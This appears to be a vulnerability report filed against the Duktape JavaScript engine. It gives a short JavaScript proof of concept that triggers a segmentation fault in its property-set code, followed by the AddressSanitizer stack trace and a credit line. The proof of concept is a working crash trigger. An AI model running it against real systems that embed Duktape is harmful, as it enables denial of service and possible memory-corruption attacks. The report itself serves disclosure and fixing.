SEGV on on duk_prop_get.c

[brunogoliveira-ufpr]

Build
50af773b1b32067170786c2b7c661705ec7425d4

OS
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux

PoC

var v1 = [9007199254740992,9007199254740992,9007199254740992];
var t1 = v1.__proto__;
t1.length = 2519855056;
v1[268435440] = 9007199254740992;

Output

=================================================================
==3764033==ERROR: AddressSanitizer: SEGV on unknown address 0x00009fff7fe0 (pc 0x5555557dddb6 bp 0x7ffffffeebb0 sp 0x7ffffffee970 T0)
==3764033==The signal is caused by a READ memory access.                                                                                                    
    #0 0x5555557dddb6 in duk__setcheck_idxkey_array_attempt /home/kali/JSEs/duktape-latest/duk_prop_set.c:965:7
    #1 0x5555557dddb6 in duk__setcheck_idxkey_array /home/kali/JSEs/duktape-latest/duk_prop_set.c:1286:11
    #2 0x5555557d9bf6 in duk__setcheck_idxkey_htypejump /home/kali/JSEs/duktape-latest/duk_prop_set.c:1936:9
    #3 0x5555557d82bd in duk__prop_set_stroridx_helper /home/kali/JSEs/duktape-latest/duk_prop_set.c:2527:9
    #4 0x5555557d82bd in duk__prop_set_idxkey_unsafe /home/kali/JSEs/duktape-latest/duk_prop_set.c:2767:9
    #5 0x5555557d81c9 in duk__prop_set_idxkey /home/kali/JSEs/duktape-latest/duk_prop_set.c:2813:9
    #6 0x5555557d7c00 in duk__prop_putvalue_idxkey_inidx /home/kali/JSEs/duktape-latest/duk_prop_set.c:2941:9
    #7 0x5555556765eb in duk_prop_putvalue_inidx /home/kali/JSEs/duktape-latest/duk_prop_set.c:3216:7
    #8 0x5555557b77d8 in duk__js_execute_bytecode_inner /home/kali/JSEs/duktape-latest/duk_js_executor.c:4426:4
    #9 0x55555576b58e in duk_js_execute_bytecode /home/kali/JSEs/duktape-latest/duk_js_executor.c:3009:4
    #10 0x55555576626c in duk__handle_call_raw /home/kali/JSEs/duktape-latest/duk_js_call.c:2121:3
    #11 0x55555565e17f in duk_handle_call_unprotected /home/kali/JSEs/duktape-latest/duk_js_call.c:2293:9
    #12 0x55555565e209 in duk_call_method /home/kali/JSEs/duktape-latest/duk_api_call.c:152:2
    #13 0x5555557e4925 in wrapped_compile_execute /home/kali/JSEs/duktape-latest/examples/cmdline/duk_cmdline.c:304:2
    #14 0x5555557ca898 in duk__handle_safe_call_inner /home/kali/JSEs/duktape-latest/duk_js_call.c:2346:7
    #15 0x55555565f888 in duk_handle_safe_call /home/kali/JSEs/duktape-latest/duk_js_call.c:2592:3
    #16 0x55555565ea49 in duk_safe_call /home/kali/JSEs/duktape-latest/duk_api_call.c:320:7
    #17 0x5555557e3005 in handle_fh /home/kali/JSEs/duktape-latest/examples/cmdline/duk_cmdline.c:637:7
    #18 0x5555557e2cf1 in handle_file /home/kali/JSEs/duktape-latest/examples/cmdline/duk_cmdline.c:696:11
    #19 0x5555557e1ec1 in main /home/kali/JSEs/duktape-latest/examples/cmdline/duk_cmdline.c:1743:7
    #20 0x7ffff7ccdc89 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #21 0x7ffff7ccdd44 in __libc_start_main csu/../csu/libc-start.c:360:3
    #22 0x555555581530 in _start (/home/kali/JSEs/duktape-latest/build/duk-clang-asan+0x2d530) (BuildId: c1aa1ff8308a86c81dd61a13fdc189524a3d7068)

Credit
Bruno G. de Oliveira